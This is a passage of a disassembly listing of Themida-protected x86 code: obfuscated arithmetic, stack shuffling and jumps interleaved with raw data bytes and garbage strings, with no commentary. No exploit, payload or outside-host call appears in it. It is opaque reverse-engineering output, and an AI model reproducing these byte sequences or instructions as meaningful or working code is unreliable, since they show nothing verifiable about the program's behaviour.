		sub	ecx, 7597530Ch
		dec	ecx
		sub	ecx, 61C682D2h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		add	eax, 4
		jmp	loc_5961A6
; ---------------------------------------------------------------------------
aBzSD		db 'B‡Ñé¾d',0
		align 2
		dw 34FFh
		dd 0C4835A24h, 1C5F0904h, 8B2434FFh, 0AEE9241Ch, 87FFFF75h
		dd 0E95C2414h, 0FFFF8AA7h, 24E668h, 243C8900h, 63E4E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EB96:				; CODE XREF: Themida_:005A151Cj
		shr	eax, 6
		not	eax
		jmp	loc_59BB56
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 4F40h
; ---------------------------------------------------------------------------


loc_59EBA8:				; CODE XREF: Themida_:005A2172j
		push	esi
		jmp	loc_59555C
; ---------------------------------------------------------------------------


loc_59EBAE:				; CODE XREF: Themida_:0059E5EEj
		neg	ebx
		shr	ebx, 3
		sub	ebx, 144E587Fh
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5927C4
; ---------------------------------------------------------------------------
		db 68h
		dd 7E71518h, 4889BF5Bh,	0DF29815Ch, 5FF8315Bh, 32FBE981h
		dd 0C10178EAh, 236BA52h, 0CA811D01h, 6A111BE9h,	0FFEDE0E9h
		dd 5EF031FFh, 0E908E0C1h, 815Eh, 4EC81h, 0C890000h, 0EC835024h
		dd 241C8904h, 0FFA065E9h, 242489FFh, 4BD55h, 0A5E90000h
		dd 57FFFFD4h, 4BFh, 0E9FB0100h,	0FFFFFBABh
; ---------------------------------------------------------------------------


loc_59EC38:				; CODE XREF: Themida_:005A2856j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebx
		jmp	loc_5A17B1
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 55243C89h, 0E572C0BDh, 5DEF891Ch, 91EBE56h, 38E92597h
		dd 8BFFFFC5h, 0C481241Ch, 4, 0FFA4F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EC6D:				; CODE XREF: Themida_:005A70C0j
		pop	esi
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_592BDC
; ---------------------------------------------------------------------------
		dd 0E7895759h, 4C781h, 0C7810000h, 4, 0E9243C33h, 0FFFF828Bh
		dd 895FF889h, 0D6F758C6h, 460FE681h, 0CE875E9Bh, 0CE87D1F7h
		dd 35A3E681h, 0D6F71692h, 0CE5B6850h, 3158FD6Fh, 0E98158C6h
		dd 24D22781h, 0C181F101h, 24D22781h, 5624348Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 0AEE95C24h, 89000002h,	0EDE9241Ch
		dd 66FFFF3Ch, 6824048Bh, 1A93h,	0E9240C89h, 815Ch, 8836B652h
		dd 24148BF3h, 4C481h, 0DA880000h, 51665B66h, 74E977B5h
		dd 0BFFFFF57h, 35E72F25h, 562FB951h, 42E95A2Ah,	0FF00004Dh
		dd 0E8E92434h, 5DFFFFFCh, 0C3C581h, 0DDF7366Fh,	71B7E9h
		dd 4C38300h, 5C241C87h,	8904EC83h, 74FF242Ch, 0E95D0424h
		dd 4D1Ch
; ---------------------------------------------------------------------------


loc_59ED50:				; CODE XREF: Themida_:00598B86j
		mov	esi, 5353339Bh
		add	eax, esi
		jmp	loc_595712
; ---------------------------------------------------------------------------
		dd 507E0C1h, 0CD8CB127h, 8B58C129h, 89532434h, 4BD55E3h
		dd 1000000h, 0C3835DEBh, 241C8704h, 0FFCB015Ch,	83592434h
		dd 57E904C4h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ED8B:				; CODE XREF: Themida_:00593892j
		pop	ebp
		pop	edi
		jmp	loc_5A19B7
; ---------------------------------------------------------------------------


loc_59ED92:				; CODE XREF: Themida_:00598A9Cj
		add	edx, 4
		jmp	loc_5A1B10
; ---------------------------------------------------------------------------
		db 1, 0CBh, 0E9h
		dd 0FFFFB4B8h, 5365BB53h, 0E3C14338h, 0C876E904h, 7C01FFFFh
		dd 90E90424h, 8900002Eh, 4C681E6h, 0E9000000h, 0FFFF9C82h
; ---------------------------------------------------------------------------


loc_59EDC8:				; CODE XREF: Themida_:0059806Bj
		sub	esp, 4
		jmp	loc_5A3584
; ---------------------------------------------------------------------------
		dd 0A7D3AA05h, 6E8C155h, 2E06855h, 0E95D5A3Fh, 2690h, 0E924048Bh
		dd 0FFFF7182h, 533AEB81h, 0CB016C3Dh, 0FF6311E9h, 15EB80FFh
		dd 0E948E980h, 67F1h, 83242C8Bh, 2CE904C4h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EE0F:				; CODE XREF: Themida_:005A1716j
		push	esp
		jmp	loc_5A2F79
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 74h
		dd 80E90424h, 1000057h,	2434FFF1h, 0E389535Eh, 4C381h
		dd 0C3830000h, 816CE904h, 0EC68FFFFh, 0E900001Eh, 3522h
		dd 0D9B151ACh, 8016F180h, 0C9FE10C9h, 7A51E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EE51:				; CODE XREF: Themida_:005976F7j
		mov	ebp, 1A6F123Bh
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		jmp	loc_59DB67
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0F8E90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EE77:				; CODE XREF: Themida_:0059C98Cj
		push	ecx
		mov	ecx, 9818BE5Fh
		xor	edi, ecx
		pop	ecx
		jmp	loc_5A153D
; ---------------------------------------------------------------------------
		db 0BBh, 0Dh, 15h
		dd 23E93AA9h, 0C1FFFFA5h, 8C2D03E0h, 1E3B953h, 34FF58C5h
		dd 0EC815A24h, 4, 89243C89h, 4C781E7h, 81000000h, 4C7h
		dd 243C8700h, 4524248Bh, 20C8E9h, 28256800h, 4890000h
		dd 2D3B824h, 0DAE95391h, 81FFFF45h, 3B7A21C7h, 0C3C78103h
		dd 0F71ADF1Ah, 81D7F7D7h, 0C07501CFh, 81EF812Ah, 31C29A31h
		dd 78E95FFBh, 0FFFFFFEEh, 0EC833877h, 24348904h, 0BC0D64BEh
		dd 2474011Dh, 24348B04h, 8904EC83h, 0E2892414h,	8A5AE951h
		dd 525AFFFFh, 0FFEDF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EF21:				; CODE XREF: Themida_:00599784j
		xor	eax, 348759BAh
		jmp	loc_5A1D1A
; ---------------------------------------------------------------------------
		db 66h
		dd 2404B30Fh, 303AE99Ch, 0FBFFFFFh, 29279261h, 80D9E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EF42:				; CODE XREF: Themida_:0059D6E8j
		mov	[esp], edx
		push	701h
		mov	[esp], ebp
		jmp	loc_5A1235
; ---------------------------------------------------------------------------
		dw 158h
aYs4		db 'ÏYé`4',0
		dw 6600h
		dd 0E9240C8Bh, 22EEh, 0E924248Bh, 2D3Dh
; ---------------------------------------------------------------------------


loc_59EF6C:				; CODE XREF: Themida_:005A4A33j
		add	ebp, 14491104h
		jmp	loc_5971AF
; ---------------------------------------------------------------------------
		db 50h
		dd 88BFB252h, 0D4F65AD4h, 6831EC80h, 6F7h, 0FFD728E9h
		dd 37E957FFh, 8B000057h, 1C892424h, 2434FF24h, 0FF9915E9h
		dd 5FFD29FFh, 2C8BEA01h, 4C48324h, 2B951h, 0CA010000h
		dd 24148759h, 0FF60E6E9h, 241489FFh, 4EC81h, 3C890000h
		dd 0F1E95424h, 34FFFF5Fh, 3E8C04Fh, 0D0F60104h,	2C09B753h
		dd 2F94E9FBh, 0C4810000h, 4, 0E43AD425h, 40052D2Bh, 0E8C11531h
		dd 384EE902h, 248BFFFFh, 0B9D6824h, 0D8E90000h,	5BFFFFFCh
		dd 525FF831h, 8331068h,	0EC815A30h, 4, 0BB241C89h, 740C5A5Ah
		dd 0FFFFEB81h, 0EB81FFFFh, 1, 0FFA9BBE9h, 69BD55FFh, 5668AAC8h
		dd 0E224F168h, 0E8E95E4Ch, 81000064h, 579A8C2h,	31BBE95Dh
		dd 5C290000h, 6C810424h, 51B40424h, 8B5B1B4Fh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59E7E9
; ---------------------------------------------------------------------------
a?oa		db '½?Oí',0
		db 0C1h
		dd 0D5F708E5h, 4A91F581h, 0C58140D2h, 12E7861h,	1969E9h
		dd 10D52D00h, 6EE95307h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F08B:				; CODE XREF: Themida_:0059813Aj
		push	2198h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 4
		sub	edx, 29D14D8Ch
		add	edx, edi
		add	edx, 29D14D8Ch
		pop	edi
		sub	edx, 4
		jmp	loc_5A6DC3
; ---------------------------------------------------------------------------
aUsia		db '[UéˆA',0
		dw 5C00h
		dd 0FFFB3FE9h, 5FF829FFh, 7124E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F0D1:				; CODE XREF: Themida_:005934F6j
		push	eax
		jmp	loc_5A025D
; ---------------------------------------------------------------------------
aB5aSij		db 'Ï5A&:éiJ',0
		align 2


loc_59F0E2:				; CODE XREF: Themida_:005A6CE6j
		mov	[esp], ebp
		mov	ebp, 6A7C41DCh
		or	ebp, 6E21743Fh
		sub	ebp, 70D44A1h
		xor	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_59E872
; ---------------------------------------------------------------------------


loc_59F104:				; CODE XREF: Themida_:005A4845j
		add	esp, 4
		jmp	loc_59CE3F
; ---------------------------------------------------------------------------


loc_59F10C:				; CODE XREF: Themida_:005A466Aj
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A0885
; ---------------------------------------------------------------------------
		db 81h
		dd 8610C9C1h, 0C1835E6Bh, 4EC8302h, 0FF240C89h,	8B042474h
		dd 8950240Ch, 5208E9E0h, 515C0000h, 7E2DADB9h, 8E1C149h
		dd 8108E9C1h, 0A11FBEE9h, 8BCA31ECh, 0E955240Ch, 0FFFF9ADBh
		dd 0E924048Fh, 0FFFFF5F3h
; ---------------------------------------------------------------------------


loc_59F168:				; CODE XREF: Themida_:0059CC2Cj
		not	edi
		push	esi
		jmp	loc_5A2583
; ---------------------------------------------------------------------------


loc_59F170:				; CODE XREF: Themida_:0059F92Dj
		mov	ebx, 6E6A61ACh
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 0D151799h
		neg	ebx
		sub	ebx, 9EAAB5E7h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 5E591B37h
		not	ebx
		shr	ebx, 8
		shl	ebx, 8
		xor	ebx, 0A1A6E404h
		sub	edi, 3DD4714Bh
		jmp	loc_598721
; ---------------------------------------------------------------------------
		dd 7B6E6851h, 55592397h, 222E5FBDh, 5DE929AAh, 0C8BCD89h
		dd 4C48324h, 0C106E5C1h, 0E58106EDh, 0D822EB6h,	3022F581h
		dd 0E95065EFh, 0FFFF8080h, 5363BF66h, 66FD0166h, 81243C8Bh
		dd 2C4h, 0E5D16600h, 52664D66h,	80686657h, 665F662Ah, 6A42E781h
		dd 3818E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F211:				; CODE XREF: Themida_:005A5B31j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	45FBh
		mov	[esp], edx
		push	40h
		jmp	loc_598DE7
; ---------------------------------------------------------------------------


loc_59F22A:				; CODE XREF: Themida_:00592C57j
		mov	[esp], ecx
		mov	ecx, 118961FEh
		jmp	loc_5997F2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8950242Ch, 405E0h, 6680000h,	0E900007Dh, 189Bh, 0BB534Dh
		dd 29000000h, 5BDD89EBh, 0AB93ED81h, 0E801B262h, 40D8F75Dh
		dd 0FFDB19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F269:				; CODE XREF: Themida_:005A2BECj
		mov	eax, 198E0546h
		mov	ecx, 198E054Ah
		sub	ecx, eax
		pop	eax
		push	6F3Ah
		mov	[esp], ecx
		mov	ecx, 790E71D8h
		add	ecx, 5C041C4Dh
		jmp	loc_596ACF
; ---------------------------------------------------------------------------


loc_59F28E:				; CODE XREF: Themida_:005A0706j
		push	ecx
		mov	cl, 18h
		inc	cl
		and	cl, 53h
		jmp	loc_5A549A
; ---------------------------------------------------------------------------


loc_59F29B:				; CODE XREF: Themida_:00599AA8j
		mov	esi, 0E73193A3h
		xor	eax, esi
		pop	esi
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, edx
		jmp	loc_59AC06
; ---------------------------------------------------------------------------
		db 88h,	11h, 0FFh
		dd 51592434h, 0C1815954h, 4, 5FDEE9h, 515F5400h, 4B9h
		dd 59CF0100h, 4EF81h, 3C870000h, 0FCB1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F2E2:				; CODE XREF: Themida_:00597250j
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		push	eax
		push	ebx
		mov	bl, 2Fh
		mov	al, 0D0h
		jmp	loc_5A5A6B
; ---------------------------------------------------------------------------
		db 53h
		dd 0F1B5DFBBh, 11986808h, 1C890000h, 754CBB24h,	0DF296CBFh
		dd 81241C8Bh, 4C4h, 52DF0100h, 0BF754CBAh, 5AD7016Ch, 0FFFCE6E9h
		dd 0A06856FFh, 0E9000004h, 1194h, 4905E1C1h, 4F22E9h, 5EF00100h
		dd 2474FF50h, 48F5804h,	24248B24h, 0FF2434FFh, 53582434h
		dd 0C381E389h, 4, 7ABBE56h, 0EE816CB0h,	2F0E5AC1h, 0EE81DEF7h
		dd 0C25E5312h, 3FE9F329h, 5CFFFFBDh, 0FFBB17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F375:				; CODE XREF: Themida_:00592308j
		pop	edi
		add	edi, 1FA5388Fh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 486907CDh
		add	eax, edi
		add	eax, 486907CDh
		jmp	loc_594379
; ---------------------------------------------------------------------------
		dw 0C289h
		dd 5307E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F3AE:				; CODE XREF: Themida_:005979EBj
		or	edi, ebx
		pop	ebx
		neg	edi
		push	esi
		mov	esi, 9604018h
		xor	esi, 7B840AA5h
		neg	esi
		not	esi
		not	esi
		dec	esi
		sub	esi, 58659BA4h
		jmp	loc_599F20
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 5Eh
		dd 0CA81D2F7h, 1F0D5CDCh, 898DF281h, 0D30978CDh, 8124148Bh
		dd 4C4h, 2E3C100h, 0FFF8F381h, 0D8017FDDh, 6CE4E95Bh, 248BFFFFh
		dd 0B9515324h, 0
		dd 0FFAA4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F40D:				; CODE XREF: Themida_:005998E1j
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5A2720
; ---------------------------------------------------------------------------
		dd 0FEF2B050h, 0D0E8E9C0h, 0F780FFFFh, 0E9FD208Ah, 0FFFF465Bh
; ---------------------------------------------------------------------------


loc_59F430:				; CODE XREF: Themida_:005A2657j
		pop	esp
		add	ecx, 5494637Ah
		push	eax
		mov	eax, 0CF22B6E1h
		xor	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 5D8E7F39h
		push	eax
		mov	eax, 272438D2h
		sub	eax, 69B65796h
		jmp	loc_59DC9C
; ---------------------------------------------------------------------------


loc_59F459:				; CODE XREF: Themida_:005A07F6j
		and	eax, 36101C58h
		shr	eax, 4
		xor	eax, 15982234h
		xor	ebp, eax
		pop	eax
		xor	ebp, 78BD1E9Fh
		and	ebx, ebp
		mov	ebp, [esp]
		push	7032h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59651F
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 0FFA8F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F491:				; CODE XREF: Themida_:0059C41Aj
		add	edi, ebx
		pop	ebx
		jmp	loc_5998D1
; ---------------------------------------------------------------------------
		db 0B7h, 3, 8
		dd 1C8B66FEh, 2C48124h,	0E9000000h, 0FFFF7C63h,	0E9590B89h
		dd 0FFFFE39Ah
; ---------------------------------------------------------------------------


loc_59F4B4:				; CODE XREF: Themida_:005A0FCCj
		sub	ebp, 3007679Ah
		xor	eax, ebp
		pop	ebp
		add	eax, 0FFFFFFFFh
		or	eax, 15955BF5h
		add	eax, 54D43045h
		jmp	loc_5A1D21
; ---------------------------------------------------------------------------
		db 52h
		dd 7556BA66h, 56F28166h, 4F3CE938h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F4DE:				; CODE XREF: Themida_:00595958j
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	578h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5A05C2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPs6		db '$Pé¾6',0
		dw 0C100h
		dd 0EA8106EAh, 0D255319Ah, 0FF5AD329h, 52592434h, 0D4E9E289h
		dd 89FFFFC4h, 0E9572424h, 0FFFFD6A8h, 5A66A12Ch, 101E68h
		dd 240C8900h, 752FE950h, 5E54FFFFh, 79C68h, 241C8900h
		dd 122A2BBBh, 27EB810Ah, 810A122Ah, 487E6BC6h, 77C6817Ah
		dd 1066844h, 7F0AE9DEh,	58BDFFFFh, 31645ED5h, 2434FFE8h
		dd 0E289525Dh, 4C281h, 0C2810000h, 4, 0FFB52DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F57D:				; CODE XREF: Themida_:0059DF6Cj
		pop	edx
		jmp	loc_5A12EC
; ---------------------------------------------------------------------------


loc_59F583:				; CODE XREF: Themida_:005A28A5j
		xor	ecx, 9943D5EDh
		jmp	loc_59A046
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 0E9243489h, 0FFFFE135h, 425C1A68h, 0F6E95925h
		dd 83FFFFF7h, 148904ECh, 555A5424h, 0FFB10BE9h,	243489FFh
		dd 0B751AEBEh, 5EEC125h, 2684B951h, 0CE310783h,	9C5E9h
		dd 0D1CE8700h, 0E4A5E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F5D6:				; CODE XREF: Themida_:0059F93Dj
		push	7701h
		push	esp
		jmp	loc_5929B7
; ---------------------------------------------------------------------------


loc_59F5E1:				; CODE XREF: Themida_:005998BFj
		sub	eax, 2D7C0221h
		sub	eax, esi
		add	eax, 2D7C0221h
		jmp	loc_595BFA
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4C304C4Ah, 221DC681h, 0EE813911h, 2B8D5B09h,	53242C8Bh
		dd 0B8505B54h, 58452419h, 0E902E8C1h, 0FFFFE098h, 0E9240C8Bh
		dd 0FFFF90EBh, 6025B850h, 77E977CAh, 5BFFFFB5h,	954A7305h
		dd 3E8C105h, 0B31DD705h, 0EBA0D5Bh, 0D0F73345h,	6FE68h
		dd 240C8900h, 21FF93B9h, 8BC801DAh, 0C483240Ch,	0BAEA8104h
		dd 2949B802h, 0BAC281C2h, 0E949B802h, 0FFFF5FC6h, 0C0FFE980h
		dd 0B35307E1h, 80EBD0E4h, 8EE9E1E3h, 0BAFFFF87h, 46012B8Ch
		dd 0FFC63BE9h, 0F4E956FFh
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F68B:				; CODE XREF: Themida_:005A229Fj
		add	edx, edi
		pop	edi
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_595C1D
; ---------------------------------------------------------------------------
		db 35h
		dd 38805105h, 0FFBEDAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F6A9:				; CODE XREF: Themida_:0059FD80j
		sub	ebp, 48423841h
		push	20A8h
		jmp	loc_594BB8
; ---------------------------------------------------------------------------


loc_59F6B9:				; CODE XREF: Themida_:005A2885j
		push	edx
		mov	edx, 29403BBCh
		jmp	loc_59972A
; ---------------------------------------------------------------------------
		dd 874FEFD1h, 87DEF7F7h, 4AB1E9F7h, 0FF66FFFFh,	2896E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F6DA:				; CODE XREF: Themida_:005A1CA4j
		push	eax
		mov	eax, 24D67360h
		sub	eax, 1
		sub	esp, 4
		jmp	loc_59E89E
; ---------------------------------------------------------------------------
		db 0BFh, 4Bh, 11h
		dd 66E9796Ah, 52FFFFDBh, 0FFC80CE9h, 2434FFFFh,	15E95758h
		dd 6800004Ch, 65ECh, 0FFE4A9E9h, 5EF201FFh, 5C241487h
		dd 0E92434FFh, 0FFFFF558h
; ---------------------------------------------------------------------------


loc_59F720:				; CODE XREF: Themida_:00598FC7j
		inc	edi
		shr	edi, 6
		push	eax
		push	ecx
		push	4C2D1800h
		pop	ecx
		neg	ecx
		xor	ecx, 0C6B3B9E7h
		mov	eax, ecx
		pop	ecx
		sub	edi, 146601F8h
		sub	edi, eax
		add	edi, 146601F8h
		pop	eax
		sub	edi, 10C07937h
		jmp	loc_59BFBD
; ---------------------------------------------------------------------------
		db 64h,	66h, 8Bh
		dd 0AB686602h, 489662Fh, 35E3E924h, 88B90000h, 0E9660A7Fh
		dd 0FFFFCABFh, 0E905E2C1h, 4CA0h, 8904EC83h, 0CBBB241Ch
		dd 2D1E8C58h, 3A1F35DAh, 0DA05D829h, 8B3A1F35h,	0E68241Ch
		dd 8900001Eh, 21E92404h, 1FFFFECh, 81042444h, 9004246Ch
		dd 587EA767h, 0E924348Bh, 1E4Ah, 268h, 0D7015A00h, 8324148Bh
		dd 0F7E904C4h, 8F00004Eh, 0ADE92404h, 8100005Bh, 4C7h
		dd 243C3300h, 33243C31h, 515C243Ch, 0C181E189h,	4, 8704E983h
		dd 248B240Ch, 243C8924h, 0C56554BFh, 0FAF9E904h, 0D820FFFFh
		dd 4E0C05Bh, 0C688A604h, 0B0506658h, 66C630D2h,	80EED058h
		dd 0E6807EE6h, 7DEE8091h, 30B0C680h, 24148BF1h,	3004C483h
		dd 2434FFC8h, 0FFC103E9h, 0DFEA81FFh, 8B4F2518h, 0C4812434h
		dd 4, 31241433h, 52E92414h, 0BEFFFFC4h,	4, 0FFFEC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F851:				; CODE XREF: Themida_:005A14B0j
		xor	edx, [esp]
		mov	esp, [esp]
		xor	dh, bl
		pop	ebx
		sub	al, dh
		pop	edx
		xor	bl, al
		movzx	eax, al
		push	small 7357h
		mov	[esp], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9532404h, 44B6h
; ---------------------------------------------------------------------------


loc_59F878:				; CODE XREF: Themida_:00599FE8j
		xor	ecx, 0E48D7374h
		sub	ebp, ecx
		pop	ecx
		xor	esi, ebp
		pop	ebp
		dec	esi
		neg	esi
		xor	esi, 86856E33h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		not	ecx
		jmp	loc_59B91E
; ---------------------------------------------------------------------------
		dd 459BD55h, 0E581225Eh, 619A7422h, 2919F581h, 0E92133B2h
		dd 6E1C15Dh, 4644F181h,	0CA01220Ah, 4C28159h, 87000000h
		dd 685C2414h, 1373h, 0FF241C89h, 8B042474h, 0CBE9241Ch
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F8F3:				; CODE XREF: Themida_:005A2C9Dj
		pop	ebp
		push	esi
		push	edx
		mov	edx, 7A76539Ah
		jmp	loc_59AC2A
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 622Eh, 4BEh, 8330500h, 0F0010B06h, 0FFE1D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F919:				; CODE XREF: Themida_:00595F69j
		mov	eax, 6DBE4BC8h
		push	eax
		pop	edi
		pop	eax
		xor	eax, edi
		pop	edi
		add	edi, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_59F170
; ---------------------------------------------------------------------------


loc_59F932:				; CODE XREF: Themida_:00597B89j
		xor	eax, 14C94B37h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F5D6
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 703944B3h, 2CDCF181h, 0BEE9610Dh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F953:				; CODE XREF: Themida_:0059E7A4j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_596FAC
; ---------------------------------------------------------------------------
		dw 8B05h
		dd 2D3E9B6Ch, 31A57DF6h, 0F414D735h, 4A43E970h,	3E35FFFFh
		dd 29107D84h, 2AE958C3h, 5B000053h, 0FFC177E9h,	51595AFFh
		dd 0ED8000B5h, 3FB1E99Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F992:				; CODE XREF: Themida_:005A1311j
		sub	ebp, 66BE342Dh
		add	ebp, eax
		add	ebp, 66BE342Dh
		jmp	loc_59E423
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 6Fh
		dd 680C0F39h, 5D17h, 0BD242C89h, 0B11BF1h, 8246C29h, 57242C8Bh
		dd 0CDE9E789h, 5EFFFFB4h, 8104C483h, 4C6h, 34E95200h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F9D7:				; CODE XREF: Themida_:005A3AE3j
		push	dword ptr [esp]
		pop	esi
		push	0D5Bh
		jmp	loc_5A0D07
; ---------------------------------------------------------------------------
		db 57h,	52h, 0E9h
		dd 0FFFF6E7Ah, 0B850E789h, 32524334h, 9C7EE948h, 2BAFFFFh
		dd 0E9000000h, 0FFFF5C22h, 0DAB35366h, 5B66D900h, 2817F180h
		dd 240C8BCEh, 8004C483h, 0B05057C6h, 0FEEB2CF0h, 4E0C0C0h
		dd 2C02E8C0h, 58C608C6h, 81E18951h, 4C1h, 98FAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: Themida_:00592799j
		or	ebp, 167722B4h
		jmp	loc_5994FC
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 5404EC83h, 0E924048Fh, 0FFFF4767h, 58309BBDh, 0B2BE92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FA5E:				; CODE XREF: Themida_:0059C32Aj
		or	edx, 48A43172h
		jmp	loc_5A5C6E
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 4B680000h, 89000014h, 68552414h, 3DF6390Eh
		dd 0E2C5815Dh, 89E475D0h, 3EE95DEAh, 8B00000Dh,	0C483241Ch
		dd 0E9545204h, 0FFFFC1E2h, 4ECF68h, 24048900h, 0E952E089h
		dd 0FFFF905Fh, 0FF24BFE9h, 93C580FFh, 4BDFE9h, 0E1815900h
		dd 0D41663Ch, 0FFA831E9h, 61C581FFh, 89DC1164h,	0E1815DE9h
		dd 5F9C56C7h, 1373BF57h, 0F929E476h, 83243C8Bh,	0CD2904C4h
		dd 0E5BA5259h, 2932FE2Eh, 0D5015AD5h, 2EE5C581h, 0B85032FEh
		dd 53C50E74h, 0DB1C302Dh, 0F389E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FB06:				; CODE XREF: Themida_:00595FC4j
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		jmp	loc_59BA3E
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFBF45h
; ---------------------------------------------------------------------------


loc_59FB18:				; CODE XREF: Themida_:005A45BFj
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	eax
		push	490E02F1h
		pop	eax
		neg	eax
		shr	eax, 3
		xor	eax, 4C962DCFh
		jmp	loc_59E768
; ---------------------------------------------------------------------------
		db 5Ah,	68h, 90h
		dd 0E9000016h, 973h, 8B243C87h,	21E92424h, 0B9FFFF24h
		dd 342C1F1Eh, 3C56C181h, 0EE907EEh
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: Themida_:005A2595j
		or	edi, 15165FC4h
		jmp	loc_5A1A9C
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 8104247Ch, 1E042444h, 5F259709h, 0FF23F3E9h,	0F18141FFh
		dd 243C06F8h, 0E675C181h, 0CB2935F2h, 81240C8Bh, 4C4h
		dd 0DBF4E900h, 0BB53FFFFh, 459E5FC2h, 0B678C381h, 0D9011C09h
		dd 0E9BB535Bh, 143D706h, 52E95BD9h, 81FFFF35h, 0B8BDE9C5h
		dd 5DE929DEh, 2474FF51h, 48F5904h, 1C895C24h, 11A16824h
		dd 0C890000h, 4AA76824h, 33E936DEh, 89000058h, 6855240Ch
		dd 38A6h, 56240489h, 221FE9h, 65C18100h, 5D5CCD22h, 0EC81D901h
		dd 4, 5248E9h, 24343100h, 0FFA8DFE9h
